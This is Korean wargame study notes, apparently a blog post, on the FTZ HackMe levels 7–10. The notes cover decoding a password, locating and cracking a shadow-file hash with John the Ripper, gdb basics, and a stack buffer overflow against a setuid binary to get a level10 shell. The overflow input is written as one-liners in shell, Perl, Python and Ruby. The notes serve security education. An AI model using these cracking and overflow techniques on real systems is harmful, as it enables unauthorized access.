20160707 리버싱
■ 공격용 코드를 만들어 보자.
bin(2진수)
dec(10진수)
hex(16진수)
[level7@ftz level7]$ cd tmp
[level7@ftz tmp]$ vi conversion.c
#include <stdio.h> #include <string.h>
#define MAXARRAY 4
int binToInt(char *bin);
int main() { int i, decimal[MAXARRAY]; char *bin="--_--_- --____- ---_-__ --__-_-"; char *ptr=bin; char dec[MAXARRAY*8]; char ascii[MAXARRAY]; char cmd[5]={"\n"};
printf("Resvered signals : --_--_- --____- ---_-__ --__-_-\n"); for(i=0; i<strlen(bin); i++) { if(*ptr == '-') dec[i] = '1'; else if(*ptr == '_') dec[i] = '0'; else if(*ptr == ' ') dec[i] = '\0'; ptr++; }
dec[i] = '\0'; printf("Changed binary : %s %s %s %s\n", &dec[0], &dec[8], &dec[16], &dec[24]);
printf("Changed decimal : "); for(i=0; i<MAXARRAY; i++) { decimal[i] = binToInt(&dec[i*8]); printf(" %d ", decimal[i]); } printf("\n");
printf("Chaged ascii :"); for(i=0; i<MAXARRAY; i++) printf(" %c ", decimal[i]); printf("\n");
sprintf(cmd, "(printf \"%c%c%c%c\" ; cat) | /bin/level7", decimal[0], decimal[1], decimal[2], decimal[3]); system(cmd); }
int binToInt(char *bin) { int i=0; int count=0;
while (bin[count]) i=(i << 1) | (bin[count++] - '0');
return i; } |
[level7@ftz tmp]$ gcc -o conversion conversion.c
[level7@ftz tmp]$ ./conversion
Resvered signals : --_--_- --____- ---_-__ --__-_- Changed binary : 1101101 1100001 1110100 1100101 Changed decimal : 109 97 116 101 Chaged ascii : m a t e <ENTER> Insert The Password : Congratulation! next password is "break the world".
<ENTER> |
[과제] /bin/level7 파일을 disassemble 하여 의사코드를 만들어 보자.
(주의) root 사용자로 분석한다.
?
■ 복원된 의사코드
(의사코드)
#include <stdio.h> #include <malloc.h>
int main() { char *input; char *pass = "mate";
if((input = (char *)malloc(0x64)) == NULL) { printf("malloc() error\n"); exit(1); } printf("Insert The Password : ");
fgets(input, 0x64, stdin); if(strncmp(input, pass, 0x4) == 0) { printf("\nCongratulation! next password is \"break the world\".\n\n"); exit(0); } system("cat /bin/wrong.txt"); free(input);
return 0; } |
■ (원본코드)
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h>
int main() { char *str; str = (char *)malloc(100); printf( "Insert The Password : " ); fgets( str, 100, stdin );
if(strncmp( str, "mate", 4) == 0 ){ printf( "\nCongratulation! next password is \"break the world\".\n\n" ); exit(0); } system("cat /bin/wrong.txt"); } |
8 | Leve8 -> Leve9 |
단원의 목적
패스워드 크랙(Crack)
대표적인 패스워드 크래툴- 로컬패스워드 크랙툴(Offline Password Crack): John the Ripper(johnny)- 원격패스워드 크랙툴(Online Password Crack) : Hydra(xhydra)
Level9에 도전하기
level8 사용자로 로그인
-> ID/PASS: level8/break the world
[level8@ftz level8]$ ls -l
합계 12 -rw-r----- 1 root level8 109 1월 14 2010 hint drwxr-xr-x 2 root level8 4096 2월 24 2002 public_html drwxrwxr-x 2 root level8 4096 1월 14 2009 tmp |
[level8@ftz level8]$ cat hint
level9의 shadow 파일이 서버 어딘가에 숨어있다. 그 파일에 대해 알려진 것은 용량이 "2700"이라는 것 뿐이다.
|
# man find
/-size
-size n[bckw]
File uses n units of space. The units are 512-byte
blocks by default or if `b' follows n, bytes if `c'
follows n, kilobytes if `k' follows n, or 2-byte
words if `w' follows n. The size does not count
indirect blocks, but it does count blocks in sparse
files that are not actually allocated.
[level8@ftz level8]$ find / -size 2700c -type f 2>/dev/null
/var/www/manual/ssl/ssl_intro_fig2.gif /etc/HackMe/LEVELS/LEVEL8/found.txt /etc/rc.d/found.txt /usr/share/man/man3/IO::Pipe.3pm.gz /usr/share/man/man3/URI::data.3pm.gz /usr/share/man/man3/StrictMotif.3.gz /usr/share/man/man3/Tk_StrictMotif.3.gz /usr/share/a2ps/encoding/ascii.edf /usr/share/xmodmap/xmodmap.uk_x86 /usr/src/linux-2.4.20-8/include/asm-ia64/semaphore.h |
[level8@ftz level8]$ find / -size 2700c -type f \
\( -user level8 -o -group level8 \) 2>/dev/null
/etc/rc.d/found.txt |
[level8@ftz level8]$ ls -l /etc/rc.d/found.txt
-r--r----- 1 root level8 2700 8월 19 12:58 /etc/rc.d/found.txt |
[level8@ftz level8]$ cat /etc/rc.d/found.txt
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524
..... (중략) ..... |
[level8@ftz level8]$ cat /etc/rc.d/found.txt | sort -u
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524 |
[level8@ftz level8]$ cat /etc/rc.d/found.txt | sort -u | grep -v '^$'
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524 |
[level8@ftz level8]$ cat /etc/rc.d/found.txt | sort -u | grep -v '^$' > tmp/password.txt
[level8@ftz level8]$ which john
/usr/bin/which: no john in (/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/level8/bin) |
(windows)
윈도우용 John The Ripper 툴을 다운로드 한다.
http://www.openwall.com/john/
상당히 다양한 패스워드 크랙/관리툴이 존재한다.
John the Ripper is free and Open Source software, distributed primarily in source code form. If you would rather use a commercial product tailored for your specific operating system, please consider John the Ripper Pro, which is distributed primarily in the form of "native" packages for the target operating systems and in general is meant to be easier to install and use while delivering optimal performance.
Proceed to John the Ripper Pro homepage for your OS: •John the Ripper Pro for Linux • John the Ripper Pro for Mac OS X • On Windows, consider Hash Suite (developed by a contributor to John the Ripper)
Download one of the latest official free versions (release notes): • John the Ripper 1.8.0 (Unix - sources, tar.gz, 5.2 MB) and its signature • John the Ripper 1.8.0 (Unix - sources, tar.xz, 4.3 MB) and its signature • John the Ripper 1.8.x extra charset files archive (tar.xz, 4.5 MB) and its signature • John the Ripper 1.7.9 (Windows - binaries, ZIP, 2029 KB) and its signature
Download the latest community-enhanced version (release notes, previous release notes): • John the Ripper 1.7.9-jumbo-7 (Unix - sources, tar.gz, 1849 KB) and its signature • John the Ripper 1.7.9-jumbo-7 (Unix - sources, tar.bz2, 1559 KB) and its signature • John the Ripper 1.7.9-jumbo-5 (Windows - binaries, ZIP, 3845 KB) and its signature |
바탕화면에 다운로드/압축해제 하고 cmd 창을 통해 작업한다.
-> 다운로드하고 압축을 해제한 디렉토리: C:\Users\soldesk\Desktop\john179w2\john179
패스워드 파일을 run 디렉토리에 생성한다.
-> C:\Users\soldesk\Desktop\john179w2\john179\run\password.txt
다음은 C:\Users\soldesk\Desktop\john179w2\john179\run\password.txt 파일의 내용이다.
(password.txt 파일의 내용 예)
level9:$1$vkY6sSlG$6RyUXtNMEVGsfY7Xf0wps.:11040:0:99999:7:-1:-1:134549524 |
cmd 창에서 패스워드 크랙 작업을 진행한다.
C:\Users\soldesk> cd C:\Users\soldesk\Desktop\john179w2\john179\run C:\Users\soldesk\Desktop\john179w2\john179\run> john password.txt Loaded 1 password hash (FreeBSD MD5 [32/32]) apple (level9) guesses: 1 time: 0:00:00:00 100% (2) c/s: 7458 trying: apple Use the "--show" option to display all of the cracked passwords reliably
C:\Users\soldesk\Desktop\john179w2\john179\run> john --show password.txt level9:apple:11040:0:99999:7:-1:-1:134549524 1 password hash cracked, 0 left
C:\Users\soldesk\Desktop\john179w2\john179\run> exit |
원격에서 패스워드를 크랙해 보자.(과제)
(주의) 바이러스 탐지툴을 종료하고 작업을 진행한다.
xhydra 프로그램을 통해 원격 암호 클랙(Remote Password Crack)을 수행한다.
9 | Leve9 -> Leve10 |
단원의 목적
버퍼오버플로우(BoF, Buffer Overflow) 소개- 버퍼오버플러우 기법을 이해하기 위해 메모리의 값을 조작하는 방법
BoF(Buffer Overflow) 종류- Stack Buffer Overflow- Heap Buffer Overflow
변수의 메모리 배치 확인 및 GDB 사용법에 대해서
■ 사용시스템
HackMe(ID/PASS: level9/apple)
1. 변수의 메모리 배치
변수의 메모리 배치를 확인하기 위해서 프로그램을 만들어 보자.
[level9@ftz level9]$ ls -l
합계 12 -rw-r--r-- 1 root root 391 11월 13 2002 hint drwxr-xr-x 2 root level9 4096 2월 24 2002 public_html drwxrwxr-x 2 root level9 4096 1월 16 2009 tmp |
[level9@ftz level9]$ cd tmp
[level9@ftz level9]$ vi distance.c
#include <stdio.h>
int main() { char AA; char strAA[1]; char strBB[2]; char strCC[3]; char strDD[5]; char strEE[9]; char strFF[17];
printf("AA's address: 0x%x, sizeof: 0x%x\n", &AA, sizeof(AA)); printf("strAA[1]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strAA, sizeof(strAA), &AA - strAA); printf("strBB[2]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strBB, sizeof(strBB), strAA - strBB); printf("strCC[3]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strCC, sizeof(strCC), strBB - strCC); printf("strDD[5]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strDD, sizeof(strDD), strCC - strDD); printf("strEE[9]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strEE, sizeof(strEE), strDD - strEE); printf("strFF[17]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strFF, sizeof(strFF), strEE - strFF);
return 0; } |
[예상] 스택의 구조가 아래와 같이 할당되는가?
<-- 낮은주소(0x00000000) 높은주소(0xFFFFFFFF) -->
+------+---------+--------+--------+--------+--------+--------+--+-------+
|......|strFF[17]|strEE[9]|strDD[5]|strCC[3]|strBB[2]|strAA[1]|AA|.......|
+------+---------+--------+--------+--------+--------+--------+--+-------+
주소1 주소2 주소3 주소4 주소5 주소6 주소7
printf
("strAA[1]'s address: 0x%x, sizeof: 0x%x, distance: 0x%x\n", strAA, sizeof(strAA), &AA - strAA);
[level9@ftz tmp]$ gcc -o distance distance.c
[level9@ftz tmp]$ ./distance
AA's address: 0xbfffe2ef, sizeof: 0x1 strAA[1]'s address: 0xbfffe2ee, sizeof: 0x1, distance: 0x1 /* &AA - strAA */ strBB[2]'s address: 0xbfffe2ec, sizeof: 0x2, distance: 0x2 /* strAA - strBB */ strCC[3]'s address: 0xbfffe2d0, sizeof: 0x3, distance: 0x1c /* strBB - strCC */ strDD[5]'s address: 0xbfffe2c0, sizeof: 0x5, distance: 0x10 /* strCC - strDD */ strEE[9]'s address: 0xbfffe2b0, sizeof: 0x9, distance: 0x10 /* strDD - strEE */ strFF[17]'s address: 0xbfffe290, sizeof: 0x11, distance: 0x20 /* strEE - strFF */ |
====================================================================
메모리주소 변수명 변수의크기 메모리공간
====================================================================
0xbfffe6ee strAA[1] 0x1 (1 bytes) 0x1 (1 bytes) /* &AA - strAA */
0xbfffe6ec strBB[2] 0x2 (2 bytes) 0x2 (2 bytes) /* strAA - strBB */
0xbfffe6d0 strCC[3] 0x3 (3 bytes) 0x1c(28 bytes) /* strBB - strCC */
0xbfffe6c0 strDD[5] 0x5 (5 bytes) 0x10(16 bytes) /* strCC - strDD */
0xbfffe6b0 strEE[9] 0x9 (9 bytes) 0x10(16 bytes) /* strDD - strEE */
0xbfffe690 strFF[17] 0x11(17bytes) 0x20(32 bytes) /* strEE - strFF */
====================================================================
-> 실제 메모리 공간은 2의 배수 형태로 운영체제와 컴파일러마다 최고의 성능을 낼수 있도록 기본 원칙을 어기지 않는 범위 안에서 약간의 변형을 가한다.
(예상)
<-- 낮은주소(0x00000000) 높은주소(0xFFFFFFFF) -->
+------+---------+--------+--------+--------+--------+--------+--+-------+
|......|strFF[17]|strEE[9]|strDD[5]|strCC[3]|strBB[2]|strAA[1]|AA|.......|
+------+---------+--------+--------+--------+--------+--------+--+-------+
주소1 주소2 주소3 주소4 주소5 주소6 주소7
(실제)
+------+---------+--------+--------+--------+---+--------+--------+--+-------+
|......|strFF[17]|strEE[9]|strDD[5]|strCC[3]|25 |strBB[2]|strAA[1]|AA|.......|
+------+---------+--------+--------+--------+---+--------+--------+--+-------+
주소1 주소2 주소3 주소4 주소5 주소6 주소7
2. gdb 사용법
gdb 사용법
-------------------------------------------------------------------------------
명령어 설명
-------------------------------------------------------------------------------
gdb <파일이름> 지정된 파일을 gdb로 열기
list gcc 컴파일시 -ggdb 옵션을 지정한 경우 소스 확인 가능
disassemble 주소/함수명 지정된 함수를 디스어셈블해 실행
run 지정된 파일을 실행
continue 브레이크 걸린 상태에서 계속 진행
break 주소/함수명 주소나 함수에 브레이크 포인터를 걸기
x/32x 주소 주소에서 32개를 16진수로 출력(x/32s는 문자열)
info registers 레지스터의 값을 출력
nexti 함수 내부로 들어가지 않고 한 라인 실행
stepi 함수 내부로 들어가면서 한 라인 실행
help 도움말 출력
backtrace 프로그램 실행의 스택 추적 결과 출력
quit gdb 종료
-------------------------------------------------------------------------------
[level9@ftz tmp]$ vi bof.c (# cat ../hint > bof.c ; vi bof.c)
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
main() { char buf2[10]; char buf[10];
printf("It can be overflow : "); fgets(buf, 40, stdin);
if(strncmp(buf2, "go", 2) == 0) { printf("Good Skill!\n"); setreuid(3010, 3010); system("/bin/bash"); } } |
필요하면 적당하게 편집작업을 한다.
[level9@ftz tmp]$ gcc -ggdb -o bof bof.c
[level9@ftz tmp]$ gdb bof ($ gdb /home/level9/tmp/bof)
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu"... (gdb) quit |
[level9@ftz tmp]$ gdb
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux-gnu". (gdb) file /home/level9/tmp/bof Reading symbols from /home/level9/tmp/bof...done. (gdb) help List of classes of commands:
aliases -- Aliases of other commands breakpoints -- Making program stop at certain points data -- Examining data files -- Specifying and examining files internals -- Maintenance commands obscure -- Obscure features running -- Running the program stack -- Examining the stack status -- Status inquiries support -- Support facilities tracepoints -- Tracing of program execution without stopping the program user-defined -- User-defined commands
Type "help" followed by a class name for a list of commands in that class. Type "help" followed by command name for full documentation. Command name abbreviations are allowed if unambiguous. (gdb) help data Examining data.
List of commands:
append -- Append target code/data to a local file call -- Call a function in the program delete display -- Cancel some expressions to be displayed when program stops delete mem -- Delete memory region disable display -- Disable some expressions to be displayed when program stops disable mem -- Disable memory region disassemble -- Disassemble a specified section of memory display -- Print value of expression EXP each time the program stops dump -- Dump target code/data to a local file enable display -- Enable some expressions to be displayed when program stops enable mem -- Enable memory region inspect -- Same as "print" command mem -- Define attributes for memory region output -- Like "print" but don't put in value history and don't print newline print -- Print value of expression EXP printf -- Printf "printf format string" ptype -- Print definition of type TYPE restore -- Restore the contents of FILE to target memory set -- Evaluate expression EXP and assign result to variable VAR ---Type <return> to continue, or q <return> to quit--- set variable -- Evaluate expression EXP and assign result to variable VAR undisplay -- Cancel some expressions to be displayed when program stops whatis -- Print data type of expression EXP x -- Examine memory: x/FMT ADDRESS
Type "help" followed by command name for full documentation. Command name abbreviations are allowed if unambiguous. (gdb) list 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 5 main() 6 { 7 char buf[10]; 8 char buf2[10]; 9 10 printf("It ca be overflow : "); (gdb) list 1,20 1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <unistd.h> 4 5 main() 6 { 7 char buf[10]; 8 char buf2[10]; 9 10 printf("It ca be overflow : "); 11 fgets(buf, 40, stdin); 12 13 if(strncmp(buf2, "go", 2) == 0) 14 { 15 printf("Good Skill!\n"); 16 setreuid(3010, 3010); 17 system("/bin/bash"); 18 } 19 } (gdb) disassemble main Dump of assembler code for function main: 0x08048420 <main+0>: push %ebp 0x08048421 <main+1>: mov %esp,%ebp 0x08048423 <main+3>: sub $0x28,%esp 0x08048426 <main+6>: and $0xfffffff0,%esp 0x08048429 <main+9>: mov $0x0,%eax 0x0804842e <main+14>: sub %eax,%esp 0x08048430 <main+16>: sub $0xc,%esp 0x08048433 <main+19>: push $0x8048554 0x08048438 <main+24>: call 0x8048350 <printf> 0x0804843d <main+29>: add $0x10,%esp 0x08048440 <main+32>: sub $0x4,%esp 0x08048443 <main+35>: pushl 0x8049698 0x08048449 <main+41>: push $0x28 0x0804844b <main+43>: lea 0xffffffe8(%ebp),%eax 0x0804844e <main+46>: push %eax 0x0804844f <main+47>: call 0x8048320 <fgets> 0x08048454 <main+52>: add $0x10,%esp 0x08048457 <main+55>: sub $0x4,%esp 0x0804845a <main+58>: push $0x2 0x0804845c <main+60>: push $0x8048569 0x08048461 <main+65>: lea 0xffffffd8(%ebp),%eax 0x08048464 <main+68>: push %eax ---Type <return> to continue, or q <return> to quit--- 0x08048465 <main+69>: call 0x8048330 <strncmp> 0x0804846a <main+74>: add $0x10,%esp 0x0804846d <main+77>: test %eax,%eax 0x0804846f <main+79>: jne 0x80484a6 <main+134> 0x08048471 <main+81>: sub $0xc,%esp 0x08048474 <main+84>: push $0x804856c 0x08048479 <main+89>: call 0x8048350 <printf> 0x0804847e <main+94>: add $0x10,%esp 0x08048481 <main+97>: sub $0x8,%esp 0x08048484 <main+100>: push $0xbc2 0x08048489 <main+105>: push $0xbc2 0x0804848e <main+110>: call 0x8048360 <setreuid> 0x08048493 <main+115>: add $0x10,%esp 0x08048496 <main+118>: sub $0xc,%esp 0x08048499 <main+121>: push $0x8048579 0x0804849e <main+126>: call 0x8048310 <system> 0x080484a3 <main+131>: add $0x10,%esp 0x080484a6 <main+134>: leave 0x080484a7 <main+135>: ret End of assembler dump. (gdb) run Starting program: /home/level9/tmp/bof It ca be overflow : AAAA
Program exited with code 0221. (gdb) break *0x08048438 Breakpoint 1 at 0x8048438: file bof.c, line 10. (gdb) break *0x0804844f Breakpoint 2 at 0x804844f: file bof.c, line 11. (gdb) break *0x080484a6 Breakpoint 3 at 0x80484a6: file bof.c, line 19. (gdb) run Starting program: /home/level9/tmp/bof
Breakpoint 1, 0x08048438 in main () at bof.c:10 10 printf("It ca be overflow : "); (gdb) continue Continuing.
Breakpoint 2, 0x0804844f in main () at bof.c:11 11 fgets(buf, 40, stdin); (gdb) continue Continuing. It ca be overflow : AAAA
Breakpoint 3, main () at bof.c:19 19 } (gdb) x/s buf 0xbfffedf0: "AAAA\n" (gdb) x/x buf 0xbfffedf0: 0x41414141 (gdb) info registers eax 0x91 145 ecx 0x91 145 edx 0x67000005 1728053253 ebx 0x42130a14 1108544020 esp 0xbfffede0 0xbfffede0 ebp 0xbfffee08 0xbfffee08 esi 0x40015360 1073828704 edi 0x80484d8 134513880 eip 0x80484a6 0x80484a6 eflags 0x202 514 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x33 51 (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level9/tmp/bof
Breakpoint 1, 0x08048438 in main () at bof.c:10 10 printf("It ca be overflow : "); (gdb) nexti 0x0804843d 10 printf("It ca be overflow : "); (gdb) nexti 11 fgets(buf, 40, stdin); (gdb) stepi 0x08048443 11 fgets(buf, 40, stdin); (gdb) stepi 0x08048449 11 fgets(buf, 40, stdin); (gdb) help List of classes of commands:
aliases -- Aliases of other commands breakpoints -- Making program stop at certain points data -- Examining data files -- Specifying and examining files internals -- Maintenance commands obscure -- Obscure features running -- Running the program stack -- Examining the stack status -- Status inquiries support -- Support facilities tracepoints -- Tracing of program execution without stopping the program user-defined -- User-defined commands
Type "help" followed by a class name for a list of commands in that class. Type "help" followed by command name for full documentation. Command name abbreviations are allowed if unambiguous. (gdb) help backtrace Print backtrace of all stack frames, or innermost COUNT frames. With a negative argument, print outermost -COUNT frames. Use of the 'full' qualifier also prints the values of the local variables.
(gdb) backtrace #0 0x08048449 in main () at bof.c:11 #1 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6 (gdb) quit The program is running. Exit anyway? (y or n) y |
■ Level10 도전하기
level9 사용자로 로그인
-> ID/PASS: level9/apple
[level9@ftz level9]$ cd
[level9@ftz level9]$ ls -l
합계 12 -rw-r--r-- 1 root root 391 11월 13 2002 hint drwxr-xr-x 2 root level9 4096 2월 24 2002 public_html drwxrwxr-x 2 root level9 4096 8월 26 16:35 tmp |
[level9@ftz level9]$ cat hint
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
main(){
char buf2[10]; char buf[10];
printf("It can be overflow : "); fgets(buf,40,stdin);
if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); }
}
이를 이용하여 level10의 권한을 얻어라. |
[level9@ftz level9]$ cd tmp
[level9@ftz level9]$ vi bof.c
#include <stdio.h> #include <stdlib.h> #include <unistd.h>
main() {
char buf2[10]; char buf[10];
printf("It ca be overflow : "); fgets(buf, 40, stdin);
printf("&buf=0x%x, &buf2=0x%x\n", buf, buf2); <--- 라인추가
if(strncmp(buf2, "go", 2) == 0) { printf("Good Skill!\n"); setreuid(3010, 3010); system("/bin/bash"); } } |
[level9@ftz tmp]$ gcc -o bof bof.c
[level9@ftz tmp]$ ./bof
It ca be overflow : AAAA &buf=0xbffff760, &buf2=0xbffff770 |
0xbffff770 - 0xbffff760 = 0x00000010 => 16bytes 만큼 떨어져 있다.
(주의) 스택은 높은 주소에서 낮은 주소로 저장이 된다.
[스택의 구조]
<--- 스택이 증가 방향
--------------------------------------------------------------+
10 6 10 6 4 4 |
buf[10] dummy buf2[10] dummy SFP RET |
--------------------------------------------------------------+
<--- 낮은 메모리 주소 높은 메모리 주소 --->
[스택의 구조]
<--- 스택이 증가 방향
-----------------------------------------------------------
10 6 10 6 4 4
buf[10] dummy buf2[10] dummy SFP RET
AAAAAAAAAA BBBBBB go
-----------------------------------------------------------
<--- 낮은 메모리 주소 높은 메모리 주소 --->
[level9@ftz tmp]$ find / -user level10 -perm -4000 2>/dev/null
/usr/bin/bof |
[level9@ftz tmp]$ ls -l /usr/bin/bof
-rws--x--- 1 level10 level9 12111 8월 19 12:58 /usr/bin/bof |
[level9@ftz tmp]$ /usr/bin/bof
It can be overflow : AAAA |
-> 이 프로그램을 gdb 분석할 수는 없다. (read 권한이 없기 때문에 허가 거부됨)
-> 따라서 tmp 디렉토리 만들어 놓은 파일가지고 작업
/usr/bin/bof --> gdb X
/home/level9/tmp/bof --> gdb 0
[level9@ftz tmp]$ gdb /home/level9/tmp/bof
(gdb) disass main Dump of assembler code for function main: 0x08048420 <main+0>: push %ebp 0x08048421 <main+1>: mov %esp,%ebp 0x08048423 <main+3>: sub $0x28,%esp 0x08048426 <main+6>: and $0xfffffff0,%esp 0x08048429 <main+9>: mov $0x0,%eax 0x0804842e <main+14>: sub %eax,%esp 0x08048430 <main+16>: sub $0xc,%esp 0x08048433 <main+19>: push $0x804856c 0x08048438 <main+24>: call 0x8048350 <printf> 0x0804843d <main+29>: add $0x10,%esp 0x08048440 <main+32>: sub $0x4,%esp 0x08048443 <main+35>: pushl 0x80496c8 0x08048449 <main+41>: push $0x28 0x0804844b <main+43>: lea 0xffffffd8(%ebp),%eax 0x0804844e <main+46>: push %eax 0x0804844f <main+47>: call 0x8048320 <fgets> /* char *fgets(char *s, int size, FILE *stream); */ 0x08048454 <main+52>: add $0x10,%esp 0x08048457 <main+55>: sub $0x4,%esp 0x0804845a <main+58>: lea 0xffffffe8(%ebp),%eax 0x0804845d <main+61>: push %eax 0x0804845e <main+62>: lea 0xffffffd8(%ebp),%eax 0x08048461 <main+65>: push %eax 0x08048462 <main+66>: push $0x8048581 0x08048467 <main+71>: call 0x8048350 <printf> 0x0804846c <main+76>: add $0x10,%esp 0x0804846f <main+79>: sub $0x4,%esp 0x08048472 <main+82>: push $0x2 0x08048474 <main+84>: push $0x8048598 0x08048479 <main+89>: lea 0xffffffe8(%ebp),%eax 0x0804847c <main+92>: push %eax 0x0804847d <main+93>: call 0x8048330 <strncmp> /* int strncmp(const char *s1, const char *s2, size_t n); */ 0x08048482 <main+98>: add $0x10,%esp 0x08048485 <main+101>: test %eax,%eax ---Type <return> to continue, or q <return> to quit--- 0x08048487 <main+103>: jne 0x80484be <main+158> 0x08048489 <main+105>: sub $0xc,%esp 0x0804848c <main+108>: push $0x804859b 0x08048491 <main+113>: call 0x8048350 <printf> 0x08048496 <main+118>: add $0x10,%esp 0x08048499 <main+121>: sub $0x8,%esp 0x0804849c <main+124>: push $0xbc2 0x080484a1 <main+129>: push $0xbc2 0x080484a6 <main+134>: call 0x8048360 <setreuid> /* int setreuid(uid_t ruid, uid_t euid); */ 0x080484ab <main+139>: add $0x10,%esp 0x080484ae <main+142>: sub $0xc,%esp 0x080484b1 <main+145>: push $0x80485a8 0x080484b6 <main+150>: call 0x8048310 <system> /* int system(const char *string); */ 0x080484bb <main+155>: add $0x10,%esp 0x080484be <main+158>: leave 0x080484bf <main+159>: ret End of assembler dump. (gdb) b *0x0804847d Breakpoint 1 at 0x804847d (gdb) run Starting program: /home/level9/tmp/bof It ca be overflow : AAAAAAAAAABBBBBBgo &buf=0xbffff260, &buf2=0xbffff270
Breakpoint 1, 0x0804847d in main () (gdb) x/s 0xbffff260 0xbffff260: "AAAAAAAAAABBBBBBgo\n" (gdb) x/s 0xbffff270 0xbffff270: "go\n" (gdb) continue Continuing. Good Skill! |
[level9@ftz tmp]$ id
uid=3009(level9) gid=3009(level9) groups=3009(level9) |
-> level10 권한의 쉘이 동작하지는 않는다.
-> 이유는 gdb 디버거가 분석하고 있는 프로그램 /usr/bin/bof 프로그램이 아니다.
-> 따라서, 원본프로그램을 공격해야 하고 gdb를 사용해서 하지 않고 그냥 프로그램을 실행하면서 공
격해야 한다.
-> 하지만, 쉘이 실행되는데는 문제가 없어 보인다.(자신의 쉘로 수행)
[level9@ftz tmp]$ ps
PID TTY TIME CMD 24425 pts/3 00:00:00 bash 24664 pts/3 00:00:00 gdb 24665 pts/3 00:00:00 bof 24672 pts/3 00:00:00 bash 24698 pts/3 00:00:00 ps
[level9@ftz tmp]$ pstree 24665 gdb---bof---bash---pstree
[level9@ftz tmp]$ exit exit
Program exited normally. (gdb) quit |
[level9@ftz tmp]$
[스택의 구조]
<--- 스택이 증가 방향
-----------------------------------------------------------
10 6 10 6 4 4
buf[10] dummy buf2[10] dummy SFP RET
0xbffff260 0xbffff270
AAAAAAAAAA BBBBBB go
-----------------------------------------------------------
<--- 낮은 메모리 주소 높은 메모리 주소 --->
[level9@ftz tmp]$ /usr/bin/bof
It can be overflow : AAAAAAAAAABBBBBBgo Good Skill! |
[level10@ftz tmp]$ id
uid=3010(level10) gid=3009(level9) groups=3009(level9) |
[level10@ftz tmp]$ my-pass
Level10 Password is "interesting to hack!".
|
[level10@ftz tmp]$ exit
[level9@ftz tmp]$
■ 쉘(Shell) 스크립트를 통해 문자열을 입력해 보자.
# for i in `seq 1 16`
> do
> printf "A"
> done
# printf "go\n"
# for i in `seq 1 16`
> do
> printf "A"
> done ; printf "go\n"
[level9@ftz tmp]$ for i in `seq 1 16`; do printf "A"; done; printf "go\n"
AAAAAAAAAAAAAAAAgo |
[level9@ftz tmp]$ (for i in `seq 1 16`; do printf "A"; done; printf "go\n" ; cat) | \
/usr/bin/bof
It can be overflow : Good Skill! whoami level10 id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass
Level10 Password is "interesting to hack!".
exit <ENTER> |
[level9@ftz tmp]$
■ 펄(Perl)스크립트를 통해 문자열을 입력해 보자.
$ perl -e 'print "A"x16,"go"'
[level9@ftz tmp]$ (perl -e 'print "A"x16, "go"'; cat) | /usr/bin/bof
<ENTER> It can be overflow : Good Skill! whoami level10 id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass
Level10 Password is "interesting to hack!".
exit <ENTER> |
■ 파이썬(Python) 스크립트를 통해 문자열을 입력해 보자.
$ python -c 'print "A"*16+"go"'
[level9@ftz tmp]$ (python -c 'print "A"*16+"go"'; cat) | /usr/bin/bof
It can be overflow : Good Skill! whoami level10 id uid=3010(level10) gid=3009(level9) groups=3009(level9) my-pass
Level10 Password is "interesting to hack!".
exit <ENTER> |
■ 루비(Ruby) 스크립트를 통해 문자열을 입력해 보자.
(주의) HackMe 시스템에는 ruby 설치 되어 있지 않다.
(KaliLinux) # ruby -e 'print "A"*16+"go"'
[level9@ftz tmp]$ (ruby -e 'print "A"*16+"go"'; cat) | /usr/bin/bof
ctf 문제를 풀이하다보면 인자를 파이썬 코드 수행 결과로 넘겨야 하는 경우가 생긴다. main의 argv로 인자를 받는 경우도 있고 fget을 통해 인자를 받는 경우도 있다. 실행방법은 여러가지가 있으나 보통 아래와 같은 방법으로 문제풀이를 진행한다.
3. main(int argvc, char* argv[]){} 방식으로 argv로 문자열을 받는 경우 전달방법
./program `python -c 'print "text1" + "text2" ' ` 또는 ./program $(python -c 'print "text1" + "text2" ' )
4. fget으로 인자를 받는 경우 전달 방법
(python -c 'print "text1" + "text2"' ; cat) | ./program
방법은 다양하다 cat 대신 cut을 이용하는 경우도 존재한다.
출처 : http://moaimoai.tistory.com/56
